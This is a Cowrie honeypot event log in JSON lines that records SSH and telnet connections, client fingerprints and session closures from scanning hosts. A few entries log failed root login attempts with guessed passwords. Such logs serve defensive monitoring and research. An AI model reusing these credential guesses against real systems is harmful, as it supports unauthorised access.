{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:30.185669Z","src_ip":"109.237.96.109","session":"ff72d119b42e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.089768886566162,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:38.387051Z","src_ip":"152.42.224.71","session":"74eeb53395a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00188302993774,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:39.155545Z","src_ip":"152.42.224.71","session":"2c88afa71339","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53404,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7ae0cf11243","protocol":"telnet","message":"New connection: 152.42.224.71:53404 (10.17.0.5:23) [session: d7ae0cf11243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:42.398345Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53420,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e51fed5ad6d","protocol":"telnet","message":"New connection: 152.42.224.71:53420 (10.17.0.5:23) [session: 2e51fed5ad6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:42.555112Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53422,"dst_ip":"10.17.0.5","dst_port":23,"session":"14f1b91f2f4e","protocol":"telnet","message":"New connection: 152.42.224.71:53422 (10.17.0.5:23) [session: 14f1b91f2f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:45.513499Z"}
{"eventid":"cowrie.session.closed","duration":21.578803539276123,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:45.945782Z","src_ip":"152.42.224.71","session":"01dbd41135d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49566,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed360a7d777e","protocol":"telnet","message":"New connection: 152.42.224.71:49566 (10.17.0.5:23) [session: ed360a7d777e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:48.442287Z"}
{"eventid":"cowrie.session.closed","duration":50.61930799484253,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:50.347211Z","src_ip":"152.42.224.71","session":"0b6c507a28ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49582,"dst_ip":"10.17.0.5","dst_port":23,"session":"6474d37bc758","protocol":"telnet","message":"New connection: 152.42.224.71:49582 (10.17.0.5:23) [session: 6474d37bc758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:51.731708Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":55488,"dst_ip":"159.203.135.109","dst_port":22,"session":"c850abf24d1c","protocol":"ssh","message":"New connection: 94.159.98.239:55488 (159.203.135.109:22) [session: c850abf24d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:53.912214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:53.942830Z","src_ip":"94.159.98.239","session":"c850abf24d1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:54.071059Z","src_ip":"94.159.98.239","session":"c850abf24d1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vlad1996","message":"login attempt [root/vlad1996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:54.589991Z","src_ip":"94.159.98.239","session":"c850abf24d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.48917007446289,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:54.898655Z","src_ip":"152.42.224.71","session":"21cd6ced0b90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:55.718030Z","src_ip":"94.159.98.239","session":"c850abf24d1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.80377268791199,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:21:58.552861Z","src_ip":"152.42.224.71","session":"d77c056a2811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":57119,"dst_ip":"10.17.0.5","dst_port":23,"session":"75fbbb7fb49a","protocol":"telnet","message":"New connection: 49.88.156.34:57119 (10.17.0.5:23) [session: 75fbbb7fb49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:00.816268Z"}
{"eventid":"cowrie.session.closed","duration":20.54127788543701,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:06.054597Z","src_ip":"152.42.224.71","session":"14f1b91f2f4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59314,"dst_ip":"10.17.0.5","dst_port":23,"session":"a499c7fee293","protocol":"telnet","message":"New connection: 152.42.224.71:59314 (10.17.0.5:23) [session: a499c7fee293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:07.955444Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59318,"dst_ip":"10.17.0.5","dst_port":23,"session":"441b3e9fae3b","protocol":"telnet","message":"New connection: 152.42.224.71:59318 (10.17.0.5:23) [session: 441b3e9fae3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:08.523698Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59334,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7cdf0463bac","protocol":"telnet","message":"New connection: 152.42.224.71:59334 (10.17.0.5:23) [session: d7cdf0463bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:10.255149Z"}
{"eventid":"cowrie.session.closed","duration":102.08388209342957,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:15.362224Z","src_ip":"152.42.224.71","session":"3ace06226d54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":50652,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3bdbae45c71","protocol":"ssh","message":"New connection: 194.59.206.2:50652 (159.203.135.109:22) [session: e3bdbae45c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:15.947232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:15.956011Z","src_ip":"194.59.206.2","session":"e3bdbae45c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:16.048336Z","src_ip":"194.59.206.2","session":"e3bdbae45c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:16.172885Z","src_ip":"194.59.206.2","session":"e3bdbae45c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.70089840888977,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:19.255911Z","src_ip":"152.42.224.71","session":"2e51fed5ad6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45032,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8848a40d8d2","protocol":"telnet","message":"New connection: 152.42.224.71:45032 (10.17.0.5:23) [session: c8848a40d8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:24.520861Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":39368,"dst_ip":"159.203.135.109","dst_port":22,"session":"a900e643326d","protocol":"ssh","message":"New connection: 47.237.167.49:39368 (159.203.135.109:22) [session: a900e643326d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:25.202020Z"}
{"eventid":"cowrie.session.closed","duration":37.47965598106384,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:25.921845Z","src_ip":"152.42.224.71","session":"ed360a7d777e","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:26.254650Z","src_ip":"47.237.167.49","session":"a900e643326d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:26.258907Z","src_ip":"47.237.167.49","session":"a900e643326d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44896,"dst_ip":"10.17.0.5","dst_port":23,"session":"8770dd6607e4","protocol":"telnet","message":"New connection: 152.42.224.71:44896 (10.17.0.5:23) [session: 8770dd6607e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:27.723896Z"}
{"eventid":"cowrie.session.closed","duration":49.09019088745117,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:31.488409Z","src_ip":"152.42.224.71","session":"d7ae0cf11243","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44900,"dst_ip":"10.17.0.5","dst_port":23,"session":"af6b61858a89","protocol":"telnet","message":"New connection: 152.42.224.71:44900 (10.17.0.5:23) [session: af6b61858a89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:31.644395Z"}
{"eventid":"cowrie.session.closed","duration":41.565924644470215,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:33.297504Z","src_ip":"152.42.224.71","session":"6474d37bc758","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43636,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9931d6fa02f","protocol":"telnet","message":"New connection: 152.42.224.71:43636 (10.17.0.5:23) [session: b9931d6fa02f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:37.422170Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43638,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f52e5107f6d","protocol":"telnet","message":"New connection: 152.42.224.71:43638 (10.17.0.5:23) [session: 5f52e5107f6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:37.880602Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":34444,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8df96ae86d1","protocol":"ssh","message":"New connection: 89.108.118.91:34444 (159.203.135.109:22) [session: f8df96ae86d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:39.934430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:39.937895Z","src_ip":"89.108.118.91","session":"f8df96ae86d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:40.073959Z","src_ip":"89.108.118.91","session":"f8df96ae86d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:40.485947Z","src_ip":"89.108.118.91","session":"f8df96ae86d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.66733741760254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:40.922348Z","src_ip":"152.42.224.71","session":"d7cdf0463bac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43646,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa9999201572","protocol":"telnet","message":"New connection: 152.42.224.71:43646 (10.17.0.5:23) [session: aa9999201572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:41.122175Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:41.625114Z","src_ip":"89.108.118.91","session":"f8df96ae86d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.822625160217285,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:43.244655Z","src_ip":"152.42.224.71","session":"b9931d6fa02f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43654,"dst_ip":"10.17.0.5","dst_port":23,"session":"60ccaeb55842","protocol":"telnet","message":"New connection: 152.42.224.71:43654 (10.17.0.5:23) [session: 60ccaeb55842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:43.325860Z"}
{"eventid":"cowrie.session.closed","duration":5.598334789276123,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:43.478799Z","src_ip":"152.42.224.71","session":"5f52e5107f6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43656,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b06f179d8d6","protocol":"telnet","message":"New connection: 152.42.224.71:43656 (10.17.0.5:23) [session: 5b06f179d8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:44.785878Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":38964,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de3867a7955","protocol":"ssh","message":"New connection: 193.228.128.84:38964 (10.17.0.5:22) [session: 3de3867a7955]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:47.000513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:47.006062Z","src_ip":"193.228.128.84","session":"3de3867a7955","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:47.109336Z","src_ip":"193.228.128.84","session":"3de3867a7955","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123qwe123","message":"login attempt [root/qwe123qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:47.480555Z","src_ip":"193.228.128.84","session":"3de3867a7955","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:48.586670Z","src_ip":"193.228.128.84","session":"3de3867a7955","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35410,"dst_ip":"10.17.0.5","dst_port":23,"session":"16ec95873fb0","protocol":"telnet","message":"New connection: 152.42.224.71:35410 (10.17.0.5:23) [session: 16ec95873fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:48.654426Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35424,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc77e1fa5f00","protocol":"telnet","message":"New connection: 152.42.224.71:35424 (10.17.0.5:23) [session: fc77e1fa5f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:22:49.727954Z"}
